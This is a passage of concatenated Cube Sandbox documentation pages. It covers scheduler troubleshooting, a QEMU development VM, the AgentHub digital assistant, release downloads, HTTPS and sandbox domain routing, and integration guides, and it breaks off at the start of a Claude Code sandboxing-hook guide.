`cubelet_conf.create_concurrent_limit` at the scheduler layer. Useful entry points: ```bash curl http://127.0.0.1:3010/internal/v1/nodes sudo tail -F /data/log/CubeMaster/cubemaster-req.log sudo tail -F /data/log/Cubelet/Cubelet-req.log ``` ### Node status or resource reports are stale If CubeMaster logs mention metric update timeouts: * Confirm `cube-sandbox-cubelet.service` is running on the compute node. * Confirm `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` or the Terraform-generated CubeOps endpoint is reachable from the compute node. * Check whether `node_status_update_frequency` was accidentally set too high. * Ensure `metric_update_timeout` is much larger than the report interval. ### Template unavailable Typical symptoms: new sandboxes still land only on old nodes after scale-out, or logs mention unavailable local template replicas. Fix: * Confirm the request's `template_id`. * Run `cubemastercli tpl redo --template-id --node ` for the new node. * Check the template job status and confirm redo succeeds. * Keep the `template_locality` filter enabled; do not disable it as a workaround. ### Node label mismatch If a request uses node affinity, cluster labels, or a specific instance type but no candidate node remains: * Check that Cubelet `host.scheduler_label` matches the request or `affinityconf`. * Check that `instance_type` matches the template and request. * Check that `node_affinity_selector_allowed_keys` allows the selector key used by the request. * For heterogeneous node pools, confirm template replicas have been redone onto the target label / instance-type pool. ### Creates concentrate on only a few nodes If new sandboxes still concentrate on one machine in a multi-node cluster: * Confirm `score.enable_scorers` is enabled. * Confirm `score.plugin_conf.real_time_weighted_average.enable_weight_factors` includes the expected factors when `real_time_weighted_average` is enabled. * Set `priority_select_num` to a value greater than `1`. * Check that weights for `local_create_num`, `mvm_num`, `quota_cpu_usage`, and `quota_mem_usage` are configured. * Confirm templates are available on all intended nodes; otherwise `template_locality` shrinks the candidate set. ## See also * [Multi-Node Cluster Deployment](./multi-node-deploy.md) * [Tencent Cloud Cluster Deployment (Terraform)](./tencentcloud-terraform-deploy.md) * [Service Management & Logs](./service-management.md) * [Templates Troubleshooting](./troubleshooting/templates.md) --- --- url: https://cubesandbox.com/guide/dev-environment.md --- # Development Environment (QEMU VM) If all you have is a **local machine** (a Linux laptop, workstation or WSL 2) and no dedicated cloud server, but you still want to try Cube Sandbox or hack on it, you can run Cube Sandbox **inside a disposable OpenCloudOS 9 virtual machine** on that machine. The `dev-env/` directory at the repository root scripts the whole flow: one-off VM creation, boot, and auto-login. Three commands and you have a root shell on a clean OpenCloudOS 9 machine that you can install anything into. ::: tip Should you use dev-env? * **Already have a cloud server?** You don't need this. Use the PVM deployment in [Quick Start](./quickstart.md): it installs a full Cube Sandbox on an ordinary cloud server (no `/dev/kvm` required), which is both faster and closer to production. Details in [PVM Deployment](./pvm-deploy.md). * **Only have a local machine** (with KVM and nested virtualization)? Carry on — that is exactly what `dev-env/` is for. ::: ## Prerequisites The scripts in this guide must run on one of the following hosts: * **WSL 2 on Windows** (requires Windows 11 22H2+ with WSL nested virtualization enabled) * **A Linux physical machine** * **A Linux VM running locally, with nested virtualization enabled** If your development machine is itself a cloud server, use the PVM deployment in [Quick Start](./quickstart.md) instead of nesting another VM inside it. In all three cases, the host must be able to use KVM — `/dev/kvm` must exist and be read/writable. Cube Sandbox runs another layer of KVM MicroVMs inside the guest, so the host **must** support nested virtualization — otherwise the guest will have no usable `/dev/kvm` and sandbox creation will fail. For detailed software dependencies and how to verify / enable nested KVM, see the "Host self-check" section further down. ## Quick start Clone the repository and enter `dev-env/`: ```bash git clone https://github.com/tencentcloud/CubeSandbox.git cd CubeSandbox/dev-env ``` Three commands total. The first two run in one terminal, the third in a **second terminal**. ### Step 1: Create the VM (one-off) ```bash ./create_vm.sh ``` This downloads the official OpenCloudOS 9 qcow2 from the Tencent mirror, resizes the disk to 100 GB, boots the VM once to grow the guest root filesystem and set SELinux to `permissive`, then shuts it down cleanly. You only need to run this once per fresh image — or again after deleting the generated `.workdir/` directory. ### Step 2: Boot the VM ```bash ./run_vm.sh ``` The QEMU serial console is attached to the current terminal. Do not power the VM off with `Ctrl+a` then `x`; that is abrupt and can corrupt the guest. Instead, log in from another terminal with `./login.sh` and run `poweroff` inside the guest. ### Step 3: Log in (in a new terminal) ```bash ./login.sh ``` `login.sh` logs you into the VM as root (password handling is automated), because installing Cube Sandbox and most other tooling needs root. ### Step 4: Install what you need inside the VM The guest is a plain OpenCloudOS 9 machine: `dnf`, `curl`, `docker` and friends all work. To install Cube Sandbox, run the standard one-click installer: ```bash curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh | bash ``` ::: tip Use the Tencent Cloud mirror from China ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | MIRROR=cn bash ``` ::: When the installer finishes, follow the regular [Quick Start](./quickstart.md) to create a template and run your first sandbox in the VM. ## Move files between host and guest SSH is forwarded to `127.0.0.1:10022` and password authentication is enabled, so `scp`, `rsync` and `ssh` work out of the box. The guest password is `opencloudos`. **Host → guest** ```bash # single file scp -P 10022 ./local-file opencloudos@127.0.0.1:/tmp/ # directory (recursive) scp -P 10022 -r ./local-dir opencloudos@127.0.0.1:/tmp/ # incremental sync of a large tree rsync -avz -e 'ssh -p 10022' ./_output/bin/ opencloudos@127.0.0.1:/tmp/bin/ ``` `scp` and `rsync` connect as the unprivileged `opencloudos` user, so they cannot write to `/usr/local/bin` and similar paths directly. Stage in `/tmp` and move with `sudo`: ```bash scp -P 10022 ./cubelet opencloudos@127.0.0.1:/tmp/ ssh -p 10022 opencloudos@127.0.0.1 \ 'sudo install -m 0755 /tmp/cubelet /usr/local/bin/cubelet' ``` **Guest → host** ```bash # single file into the current directory scp -P 10022 opencloudos@127.0.0.1:/data/log/cubelet.log ./ # whole directory scp -P 10022 -r opencloudos@127.0.0.1:/data/log ./guest-logs/ # stream a command's output straight into a host file ssh -p 10022 opencloudos@127.0.0.1 'sudo journalctl -u cubelet --no-pager' > cubelet-journal.log ``` **Reaching services inside the guest** Only SSH is forwarded by default. Either boot with `EXTRA_FORWARDS` (next section) or open an ad-hoc tunnel: ```bash ssh -N -L 13000:127.0.0.1:3000 -p 10022 opencloudos@127.0.0.1 ``` ## Forward extra guest ports `run_vm.sh` forwards only SSH unless you ask for more. `EXTRA_FORWARDS` takes space separated `HOST_PORT:GUEST_PORT` pairs and binds them to `127.0.0.1` on the host: ```bash # Cube API on host 13000, CubeProxy HTTPS on host 11443 EXTRA_FORWARDS="13000:3000 11443:443" ./run_vm.sh ``` Invalid entries abort the boot before QEMU starts. ## cubecow storage in dev-env Cubelet uses the reflink-only `cubecow` storage backend by default. The dev VM only needs a reflink-capable filesystem (e.g. XFS with `-m reflink=1`, or Btrfs) at the path used by `data_path`; no LVM / dm-thin tooling or extra raw disk is required. The default settings under `[plugins."io.cubelet.internal.v1.storage".cow.*]` create reflink volumes under `/../cubecow-reflink`. ## What create\_vm.sh does inside the guest Only two things, both applied on the one-off first boot: * Grow the root partition and filesystem to use the full 100 GB disk. * Flip SELinux to `permissive` (both at runtime and in `/etc/selinux/config`). Cube Sandbox's MySQL container bind-mounts `/docker-entrypoint-initdb.d` from the host; with enforcing SELinux and `container-selinux` policies in place, the container process gets denied and MySQL keeps restarting. Nothing else is automated: there is no login banner, no `PATH` or `secure_path` tweak, no systemd autostart unit, and no binary sync or log-collection helper. Install and configure whatever you need inside the guest yourself, and move files with `scp` / `rsync`. *** Everything below is supplementary material and troubleshooting — you can skip it if the happy path above worked. ## When to use this * You want a clean OpenCloudOS 9 environment to try Cube Sandbox. * You only have a local machine with KVM and nested virtualization, and no cloud server to deploy on. * You want to iterate on Cube Sandbox without polluting your host. ::: warning Not a production deployment method This is explicitly a **development / evaluation** environment. For production, use [Quick Start](./quickstart.md) or [Multi-Node Cluster](./multi-node-deploy.md) on bare metal. ::: ## Host self-check Software dependencies required on the host: * Linux x86\_64 or aarch64 (ARM64) with KVM enabled (`/dev/kvm` exists) * Nested virtualization enabled * `qemu-system-x86_64` (or `qemu-system-aarch64` on ARM64), `qemu-img`, `curl`, `ssh`, `scp`, `setsid`, `python3` * On aarch64 the dev-env VM boots with QEMU's `virt` machine and UEFI firmware, so the EDK2/AAVMF firmware (`QEMU_EFI.fd`, e.g. the `qemu-efi-aarch64` package) must also be installed. The scripts auto-detect the host architecture; override with `TARGET_ARCH` if needed. Quick sanity check: ```bash ls -l /dev/kvm # Intel cat /sys/module/kvm_intel/parameters/nested # AMD cat /sys/module/kvm_amd/parameters/nested ``` If the `nested` parameter reads `N` or `0`, enable it on the host before continuing. Example for Intel: ```bash echo 'options kvm_intel nested=1' | sudo tee /etc/modprobe.d/kvm.conf sudo modprobe -r kvm_intel && sudo modprobe kvm_intel ``` ## Host ↔ guest port map `run_vm.sh` always forwards SSH, plus anything you list in `EXTRA_FORWARDS`: | Host | Guest | Purpose | |------|-------|---------| | `127.0.0.1:10022` | `:22` | SSH into the dev VM | | *(from `EXTRA_FORWARDS`)* | *(your choice)* | Anything else you want to reach, e.g. `13000:3000` for the Cube Sandbox E2B-compatible API | ## Common overrides The three scripts accept environment variables: ```bash # Boot with more resources (still SSH-only forwarding). VM_MEMORY_MB=16384 VM_CPUS=8 ./run_vm.sh # Also forward the Cube API and CubeProxy HTTPS to the host. EXTRA_FORWARDS="13000:3000 11443:443" ./run_vm.sh # Boot without requiring nested KVM (OS will boot but sandboxes won't run). REQUIRE_NESTED_KVM=0 ./run_vm.sh # Log in as the regular user instead of root. LOGIN_AS_ROOT=0 ./login.sh # Create a bigger disk image (default 100G). TARGET_SIZE=200G ./create_vm.sh ``` Defaults for `run_vm.sh`: 4 CPUs, 8192 MB RAM, SSH forwarded on `127.0.0.1:10022`, no other forwards. ## Reset / clean up * To reset the VM state, stop any running `run_vm.sh`, delete `dev-env/.workdir/`, then run `./create_vm.sh` again. * The dev VM is disposable by design. You are expected to rebuild it whenever the installed state becomes unusable. ## Troubleshooting | Symptom | Likely cause | Fix | |---------|--------------|-----| | No `/dev/kvm` inside the guest | Host does not have nested KVM enabled | Enable nested virtualization on the host and reboot the VM | | `./login.sh` cannot connect | VM not booted yet, or host port `10022` is busy | Confirm `./run_vm.sh` is still running; or change `SSH_PORT` | | `cube-sandbox-mysql` keeps restarting with `Permission denied` | Guest SELinux is still enforcing | Inside the guest: `sudo setenforce 0 && sudo sed -i 's/^SELINUX=enforcing/SELINUX=permissive/' /etc/selinux/config && sudo docker restart cube-sandbox-mysql` | | `df -h /` inside the guest is still small | The auto-grow step did not complete | Inspect `.workdir/qemu-serial.log`, then `scp -P 10022 internal/grow_rootfs.sh opencloudos@127.0.0.1:/tmp/` and run it with `sudo` in the guest | | `EXTRA_FORWARDS` port is already taken | Another service is bound to that host port | Pick a different host port, e.g. `EXTRA_FORWARDS="23000:3000"` | | Booting with an invalid `EXTRA_FORWARDS` aborts | Entry is not `HOST_PORT:GUEST_PORT` | Use space separated numeric pairs, e.g. `EXTRA_FORWARDS="13000:3000"` | ## Directory layout ```text dev-env/ ├── create_vm.sh # one-off: download + resize + first-boot guest init ├── run_vm.sh # day-to-day: boot the VM ├── login.sh # day-to-day: SSH in and switch to root ├── internal/ # helper scripts invoked inside the guest │ ├── grow_rootfs.sh │ └── setup_selinux.sh ├── README.md └── README_zh.md ``` For a short overview, see the [`dev-env/README.md`](https://github.com/tencentcloud/CubeSandbox/tree/master/dev-env) in the repository. --- --- url: https://cubesandbox.com/guide/digital-assistant.md --- # Digital Assistant The Digital Assistant (AgentHub) uses Cube Sandbox to create and manage OpenClaw assistants. It supports assistant instances, snapshots, rollback, clone creation, assistant template publishing, and operation history. ::: warning Preview The Digital Assistant is a preview feature intended for demos and early validation. APIs, database schema, deployment options, and UX details may still change in later releases. Validate it in a non-production environment before production use. ::: ## Digital Assistant Template AgentHub creates assistants from a CubeSandbox template. Before deployment, build the Digital Assistant template (see the command below), then copy the auto-generated `tpl-` prefixed template ID into `.env`: ```bash AGENTHUB_DS_OPENCLAW_TEMPLATE= ``` A custom template must be built from the **same Digital Assistant / OpenClaw image** as `wecom-ds-openclaw`. The image is expected to contain the OpenClaw runtime, `supervisorctl` service wiring, and the ports used by AgentHub: * OpenClaw Gateway UI: `18789` * assistant environment UI: `8080` The default template is built from an all-in-one OpenClaw image, which is relatively large. Initial template creation or rebuilds need enough space for image download, extraction, snapshotting, and distribution. In typical demo environments, creating the template takes about 15 minutes; actual time depends on image cache state, disk performance, and node count. Before building the template, make sure the host and Cubelet data disk have enough free space to avoid failures caused by running out of disk. Use the following rough estimate for disk space planning: * One template is about `3 GB` (rootfs `1G` + memory `2G`). * One snapshot is about `2~3 GB` (memory is always `2G` plus the rootfs delta). * One running instance mainly uses reflink deltas, usually only tens of MB. * Docker infrastructure is about `3.2 GB` as fixed overhead. If you keep only `1` template, `2` snapshots, and a few running instances, reserve about `12~15 GB` of free disk space. Build or re-create the template with `cubemastercli tpl create-from-image` using the same image: ```bash OPENCLAW_IMAGE=cube-sandbox-image.tencentcloudcr.com/demo/aio-sandbox-envd-openclaw:latest cubemastercli tpl create-from-image \ --image "${OPENCLAW_IMAGE}" \ --writable-layer-size 20Gi \ --expose-port 18789 \ --expose-port 8080 \ --probe 18789 \ --probe-path / ``` If you intentionally use the DeepSeek-preconfigured variant, use `cube-sandbox-image.tencentcloudcr.com/demo/aio-sandbox-envd-openclaw-deepseek:latest` after confirming the tag points to the expected digest in your environment. The command prints a build job and `template_id`; wait until the template build finishes before using AgentHub. If your cluster requires per-node template distribution, pass `--node ` repeatedly or run the existing template redo workflow after the initial build. After creating a sandbox from the template, validate the image layout inside the sandbox: ```bash supervisorctl status openclaw curl -fsS http://127.0.0.1:18789/ >/dev/null ``` If the template is missing, built from a different image, or does not include the OpenClaw service layout, assistant creation may fail during setup, restart, token reading, or gateway URL generation. ## Environment Variables ### AgentHub Database CubeOps uses MySQL to persist Digital Assistant metadata, including assistant instances, snapshots, templates, and operation history: ```bash DATABASE_URL=mysql://cube:cube_pass@127.0.0.1:3306/cube_mvp ``` In one-click deployments, when `DATABASE_URL` is omitted, the startup script exports the `CUBE_SANDBOX_MYSQL_*` fields and CubeOps maps them directly onto its database config. ### LLM API Key Before creating a digital assistant, configure the LLM API key (and provider, base URL, model) on the **AgentHub settings** page in the WebUI. You cannot create or reconfigure an assistant until this is done; the UI will prompt you to finish setup first. Once configured, CubeAPI injects the key into OpenClaw inside the sandbox and writes the relevant config files (such as `auth-profiles.json`) so the assistant can reach the LLM service. ### Credential delivery and model namespace There are two credential delivery modes: * **Credential hosting (recommended)**: only the **API Key** is hosted. CubeEgress injects the `Authorization` header for the configured LLM Base URL on outbound requests, so the real key never enters the sandbox and OpenClaw stores only a placeholder key. * **Environment injection (legacy)**: writes the real API key directly into OpenClaw's environment and config. Use this only when CubeEgress is unavailable. In both modes the model ID is normalized into a `{Provider}/{ModelID}` namespace when injected into OpenClaw: `{Provider}` comes from the AgentHub Provider setting, and the part after the slash is sent upstream as the real model name. When using a **custom upstream**, make sure the Provider and model ID match the upstream, or OpenClaw may report `Unknown model`. For example, with Provider `openai-compatible` and model `deepseek-v4-flash`, OpenClaw resolves it as `openai-compatible/deepseek-v4-flash` while the upstream receives the model name `deepseek-v4-flash`. ## Template Fast Path When creating a new assistant from a published assistant template, and no WeCom re-binding is required, CubeAPI uses a template fast path. The new sandbox reuses the OpenClaw configuration already stored in the template snapshot, so CubeAPI does not inject the LLM API key again. ## Security Notes * Keep your LLM API key confidential; do not commit it to Git. * Protect database backups and access (the key is stored in the database). --- --- url: https://cubesandbox.com/guide/downloads.md --- # Downloads & Releases All CubeSandbox release artifacts live on one [Releases page](https://github.com/TencentCloud/CubeSandbox/releases). Find your scenario below and jump to the matching section: | Your scenario | What you download manually | Section | | --- | --- | --- | | Standard deployment ([Quick Start](./quickstart.md), [bare-metal](./bare-metal-deploy.md)) | Nothing | [Standard deployment](#standard-deployment-nothing-to-download) | | PVM deployment (cloud server without `/dev/kvm`) | The PVM host kernel package (rpm/deb) | [PVM deployment](#pvm-deployment-download-the-host-kernel-package) | | Building the bundle yourself / swapping kernel or image | Guest kernels, guest image | [Self-build](#self-build-downloading-guest-kernels-and-image) | ::: tip Just following the Quick Start? You don't need this page — the [online installer](./quickstart.md) downloads the one-click bundle and resolves all artifacts automatically. ::: ## Standard deployment: nothing to download Install online with one command (see [Quick Start](./quickstart.md)): ```bash curl -sL https://github.com/tencentcloud/CubeSandbox/raw/master/deploy/one-click/online-install.sh | bash ``` To download the full bundle manually (`cube-sandbox-one-click--.tar.gz`, arch is `amd64` / `arm64`): ```bash wget https://github.com/TencentCloud/CubeSandbox/releases/download/v0.6.0/cube-sandbox-one-click-v0.6.0-amd64.tar.gz ``` ## PVM deployment: download the host kernel package The host kernel package is the only artifact you download by hand for a PVM deployment — install it, reboot into the PVM kernel, and the machine gains KVM capability. The PVM *guest* kernel (`vmlinux-pvm`) already ships inside the one-click bundle and is activated by `CUBE_PVM_ENABLE=1` at install time. For the install, GRUB, and reboot steps see [PVM Deployment — Step 1](./pvm-deploy.md#step-1-install-the-pvm-host-kernel); this section only covers getting the package. The kernel package is published on dedicated `kernel-release-*` Releases — download it from the release page: 1. Open the [GitHub Releases page](https://github.com/TencentCloud/CubeSandbox/releases?q=kernel-release-\&expanded=true) (or the [CNB mirror](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases) for mainland China — filter by `kernel-release` there), and open the newest `kernel-release-*` release 2. Download the **main package** for your distribution: * RPM-based (OpenCloudOS, RHEL, CentOS, TencentOS, Fedora): `kernel-*opencloudos9.cubesandbox.pvm.host*.x86_64.rpm` * DEB-based (Ubuntu, Debian): `linux-image-*opencloudos9.cubesandbox.pvm.host*_amd64.deb` Optional assets like `kernel-headers-*` and `-dbg` are not needed. If you have the GitHub CLI installed, you can download by glob without hunting for the exact filename — see the [appendix](#appendix-url-patterns-latest-tags-and-version-pinning). > 📌 **Shortcut for OpenCloudOS 9 users** > The kernel package is also on the official OpenCloudOS yum repository — `dnf install` installs it directly, no manual rpm download needed, and the whole deployment takes about 5 commands. > 👉 [One-command CubeSandbox deployment on OpenCloudOS 9 — walkthrough (Chinese)](https://mp.weixin.qq.com/s/oGAaUpze_uB_uzyvuYJSIg) ## Self-build: downloading guest kernels and image You only need these when [building the release bundle yourself](./self-build-deploy.md) or replacing components (the one-click bundle already ships both): ```bash # Guest kernels (published under kernel-release-*, filenames are stable) wget "https://github.com/TencentCloud/CubeSandbox/releases/download/kernel-release-260812-1/vmlinux-amd64" # bare-metal/KVM; use vmlinux-arm64 on aarch64 wget "https://github.com/TencentCloud/CubeSandbox/releases/download/kernel-release-260812-1/vmlinux-pvm-amd64" # PVM guest kernel (x86_64 only) # Guest image (published under guest-image-*, contains cube-guest-image-cpu.img) wget https://github.com/TencentCloud/CubeSandbox/releases/download/guest-image-260820-1/cube-guest-image-amd64.tar.gz tar -xzf cube-guest-image-amd64.tar.gz ``` The tags in these URLs advance with each release (filenames are stable — just swap the tag); find the newest ones on the Releases page filtered by [`kernel-release`](https://github.com/TencentCloud/CubeSandbox/releases?q=kernel-release-\&expanded=true) or [`guest-image`](https://github.com/TencentCloud/CubeSandbox/releases?q=guest-image-\&expanded=true). For a self-build, place `vmlinux` into `deploy/one-click/assets/kernel-artifacts/` — see [Self-Build Deployment — 1.1 Prepare the Kernel](./self-build-deploy.md#_1-1-prepare-the-kernel). ## Appendix: URL patterns, latest tags, and version pinning **URL patterns** — every asset is identical on both channels; swap the hostname to switch: | Channel | URL pattern | | --- | --- | | GitHub (canonical) | `https://github.com/TencentCloud/CubeSandbox/releases/download//` | | CNB mirror (mainland China) | `https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download//` | **Using `gh` so you don't have to hunt for filenames** — download by pattern, or list the kernel-release tags: ```bash # List the newest kernel-release tags gh release list --repo TencentCloud/CubeSandbox --limit 30 | grep kernel-release # Download by glob (replace with the newest tag found above; no exact # filename needed) gh release download --repo TencentCloud/CubeSandbox \ --pattern 'kernel-6*.x86_64.rpm' # or: --pattern 'linux-image-6*_amd64.deb' ``` **Version pinning** — every `v*` product release records the kernel / guest-image tags it was built with in [`deploy/release-assets.yaml`](https://github.com/TencentCloud/CubeSandbox/blob/master/deploy/release-assets.yaml) (also recorded in the bundle's `release-manifest.json`), which answers "which kernel is inside my bundle". Dedicated tags are released on their own cadence, so the pin may lag behind the newest tag — for the **PVM host kernel, always take the newest `kernel-release-*`** (it carries kernel security fixes); there is no need to match a product version. (Product releases up to `v0.6.0` also attached kernel/image assets directly to the `v*` release — a legacy layout that no longer applies.) --- --- url: https://cubesandbox.com/guide/https-and-domain.md --- # HTTPS & Domain Resolution This guide explains how sandbox access domains work in Cube Sandbox and how to resolve common **HTTPS certificate** and **DNS resolution** issues. > **Note:** TLS configuration only affects how clients reach CubeProxy. `E2B_API_URL` always points to the **Cube API Server** (default port `3000`) — a separate component from CubeProxy. *** ## How Sandbox Domains Work When an E2B client accesses a sandbox, the domain name is **dynamically generated** using the following format: ``` -. ``` For example: ``` 49983-1aa1fae8fb364edaa8203a7481995b4d.cube.app ``` Where: * `sandbox-service-port`: the port your sandbox application listens on (e.g. `49999`) * `sandboxId`: the unique sandbox ID * `domain`: the base domain, defaults to `cube.app`, customizable via `--sandbox-domain` Because the `sandboxId` part changes dynamically for every sandbox, **the network environment where the E2B client runs must support wildcard DNS resolution** — i.e., `*.` must resolve to the IP of the machine running CubeProxy. ### Built-in CoreDNS in One-Click Install (for Quick Start) The Cube one-click install script starts a **CoreDNS** service on the installation node that automatically handles wildcard resolution for `*.cube.app`. This lets you experience the full workflow on that machine without any extra DNS setup. > **Note:** The built-in CoreDNS is intended for local/quick-start use only — it is not suitable for production or multi-machine shared deployments. ### Production: Custom Domain + Your Own DNS For production deployments, use your own domain and configure a wildcard DNS record: ``` *.your.domain.com → ``` Then tell the Cube API Server to use that domain at startup: ```bash # CLI flag ./cube-api --sandbox-domain your.domain.com # Or via environment variable export CUBE_API_SANDBOX_DOMAIN=your.domain.com ./cube-api ``` With this in place, the `domain` field in API responses will return `your.domain.com`, allowing the E2B SDK to correctly construct sandbox access URLs. *** ## Path-Based Quick Access (No DNS / Cert) CubeProxy also accepts a **path-based** form that routes by URL path instead of `Host` header. It is intended for local demos, internal ad-hoc sharing, or any environment where wildcard DNS and TLS are inconvenient to set up. ``` http://:/sandbox///? ``` For example, a sandbox `abc123` exposing port `49999` reachable through CubeProxy at `10.0.0.5:80`: ``` http://10.0.0.5/sandbox/abc123/49999/ http://10.0.0.5/sandbox/abc123/49999/health http://10.0.0.5/sandbox/abc123/49999/api/v1/items?limit=10 ``` CubeProxy strips the `/sandbox//` prefix before forwarding the request, so the upstream sandbox application sees the URI it would normally see at the root. WebSocket upgrade is supported (the proxy preserves the `Upgrade` / `Connection` headers in this location). To help apps cooperate with the prefix, CubeProxy also: * Sets `X-Forwarded-Prefix: /sandbox//` on the upstream request. * Rewrites root-relative `Location` headers in responses back under `/sandbox///...` (so server-side redirects to e.g. `/login` keep working). * Scopes upstream cookies sent with `Path=/` to `Path=/sandbox///` to avoid leaking across sandboxes that share the same CubeProxy host. When to use which: * **Host-based mode** (`-.`): preferred for SPAs and any frontend that loads assets via root-absolute paths (e.g. `/static/app.js`). CubeProxy does not rewrite HTML bodies, so those absolute paths would otherwise miss the prefix. * **Path-based mode** (`/sandbox///...`): preferred for HTTP APIs, simple HTML, quick previews, and one-off sharing where you do not want to manage DNS or certificates. Both modes coexist on every CubeProxy instance and share the same Redis-backed routing metadata; no additional configuration is required to enable the path form. ## Customizing the Host Seen by Sandbox Services Some web frameworks validate the HTTP `Host`, while Cube public URLs use `-.` by default. Set the E2B-compatible `network.maskRequestHost` option at sandbox creation time to customize the Host CubeProxy forwards to user services: ```python from cubesandbox import Sandbox sandbox = Sandbox.create( network={ "mask_request_host": "localhost:${PORT}", }, ) ``` `${PORT}` is expanded per request using the sandbox service port parsed from the public URL or path route: ```text port 3000 -> Host: localhost:3000 port 8080 -> Host: localhost:8080 ``` The external URL, DNS, and TLS SNI remain unchanged. When masking is applied, CubeProxy preserves the original request Host in `X-Forwarded-Host`. The same behavior applies to host-based routes, path-based routes, and user-service WebSocket handshakes. `maskRequestHost` is a per-sandbox, create-only option. Envd port `49983` is exempt so commands, files, and PTY protocols keep their existing authority. Requests sent directly to a SandboxIP or node HostPort bypass CubeProxy and are not rewritten. *** ## gRPC Ingress (Plaintext HTTP/2) CubeProxy also exposes a dedicated listener for sandbox gRPC services. The default port is `9090` and can be changed via `CUBE_PROXY_GRPC_PORT` in one-click deployments. Clients dial the CubeProxy IP over plaintext HTTP/2 and identify the target sandbox with the gRPC `:authority` pseudo-header, using the same `-` format as host-based HTTP routing: ``` - ``` For example, to reach sandbox `abc123` on container port `49983` through CubeProxy at `10.0.0.5`: ``` dial: 10.0.0.5:9090 :authority: 49983-abc123 ``` This mode is intended for gRPC clients that cannot rely on wildcard DNS or TLS on CubeProxy. It reuses the same Redis-backed routing metadata as host-based HTTP routing. When a sandbox is created with `network.allow_public_traffic = false`, the same `e2b-traffic-access-token` / `cube-traffic-access-token` checks apply on this listener too. Pass the token as gRPC metadata (or the equivalent request header) on every call; see [Restrict Public Access](./restrict-public-access.md). *** ## HTTPS Certificate Configuration CubeProxy serves both **HTTPS (port 443) and HTTP (port 80)** out of the box. The E2B SDK uses HTTPS by default. The one-click install pre-installs a `cube.app` test certificate so you can try HTTPS immediately. To use a custom domain or production certificate, choose one of the options below: ### Option A — mkcert (Local Dev Quick Setup) `mkcert` generates a locally-trusted certificate for a custom hostname in seconds: ```bash mkcert -install mkcert ``` Set `SSL_CERT_FILE` so the E2B SDK trusts the generated CA: ```bash export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem ``` > mkcert certificates are only trusted on machines where `mkcert -install` has been run. Not suitable for production or shared deployments. ### Option B — Your Own Certificate / Domain (Production) Edit CubeProxy's `nginx.conf` to use your certificate and private key: ```nginx server { listen 443 ssl; server_name your.domain.com; ssl_certificate /path/to/your/cert.pem; ssl_certificate_key /path/to/your/key.pem; } ``` Also pass `--sandbox-domain` to the Cube API Server to publish the correct domain in API responses (see the "Production: Custom Domain" section above). ### Option C — HTTPS-Only (Disable HTTP) By default, CubeProxy listens on both HTTP and HTTPS. To disable the HTTP port entirely, remove the HTTP server block from CubeProxy's `nginx.conf` and drop the corresponding port mapping in `docker-compose.yaml`. > The E2B SDK only uses HTTPS, so disabling HTTP has no impact on SDK-based clients. *** ## Dev-Only Alternative: e2b-dev-sidecar If you are experimenting with Cube in a local development environment and want to skip both wildcard DNS setup and self-signed certificate trust issues, the **e2b-dev-sidecar** approach is the easiest option. It starts a lightweight local proxy that intercepts E2B SDK data-plane requests and rewrites the `Host` header before forwarding them to CubeProxy. This means: * **No wildcard DNS needed**: no `*.cube.app` record required on the developer machine * **No certificate trust needed**: the sidecar skips server certificate verification by default (`CUBE_REMOTE_PROXY_VERIFY_SSL=false`) See: [e2b-dev-sidecar example](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/e2b-dev-sidecar) > **Note:** e2b-dev-sidecar is a minimal dev-only implementation and is not intended for production use. --- --- url: https://cubesandbox.com/guide/integrations.md --- # Integrations ::: warning Bilingual PR Required Every contribution in this section must include both an English file under `docs/guide/integrations/` and a Chinese file under `docs/zh/guide/integrations/`. PRs that update only one language will not be merged. ::: This section collects integration guides for agent frameworks, developer tools, and ecosystem platforms built on top of Cube Sandbox. Each integration should live in its own file so contributors can submit focused PRs without editing a shared monolithic page. ## What belongs here * Agent framework integrations such as LangChain, Dify, OpenClaw, or Claude Code * SDK wiring guides and platform-specific setup notes * End-to-end integration patterns with example repositories * Compatibility notes, caveats, and recommended configuration defaults ## How to contribute 1. Copy `_template.md` in the current directory and rename it to an English kebab-case slug such as `langchain.md` or `claude-code.md`. 2. Create both files at the same time: * `docs/guide/integrations/.md` * `docs/zh/guide/integrations/.md` 3. Keep the filename identical in both languages to keep the URLs aligned. 4. One integration per file. Do not merge multiple agents or frameworks into the same article. 5. Add your article to the table below in both the English and Chinese index pages. 6. Open a PR with any sample code, repo links, or screenshots that help reviewers validate the guide. ## Naming and frontmatter * Filenames must use English kebab-case. * Chinese filenames are not allowed. * Use the same slug in both language directories. * Keep frontmatter keys aligned across both files. ```md --- title: LangChain Integration Guide author: your-github-id date: 2026-05-14 tags: - integration - langchain lang: en-US --- ``` ## Published articles | Title | Author | Date | Tags | | --- | --- | --- | --- | | [Pi Agent Integration Guide](./pi-agent.md) | chaojixinren | 2026-07-01 | integration, pi-agent, coding-agent, agent | | [Claude Code Integration Guide](./claude-code.md) | shsaihdsaiudh | 2026-07-06 | integration, claude-code, coding-agent | | [LangChain Integration Guide](./langchain.md) | peerless-hero | 2026-07-07 | integration, langchain, agent | | [OpenCode Integration Guide (Plugin Hook)](./opencode-plugin.md) | Tantanovo | 2026-07-31 | integration, opencode, coding-agent, plugin | | [OpenAI Agents SDK Integration Guide](./openai-agents-sdk.md) | ZedingZhang | 2026-08-19 | integration, openai-agents-sdk, agent | | [Ubuntu Desktop Sandbox Guide](./ubuntu-desktop.md) | jinlong | 2026-09-15 | integration, ubuntu-desktop, novnc, gui-automation | --- --- url: https://cubesandbox.com/guide/integrations/claude-code.md --- # Claude Code [Claude Code](https://docs.anthropic.com/en/docs/claude-code) is a terminal-based AI coding agent developed by Anthropic. It runs commands, edits files, and executes code in your terminal. This guide shows how to keep Claude Code running **on your host** while transparently redirecting **every Bash command it runs** into an isolated CubeSandbox MicroVM, using a `PreToolUse` hook. The model never sees the sandbox layer, and no prompt or workflow changes are required. ## Why a hook MCP- or SDK-based sandboxing depends on the agent *choosing* a sandbox tool; a plain `Bash` tool call still lands on the host. A `PreToolUse` hook intercepts the tool call itself, so Bash isolation is **transparent and complete** — there is no path for a command to skip it. ## Architecture ``` Claude Code (host) ├── Read / Write / Edit ─────────────► host project files │ └── Bash ──► 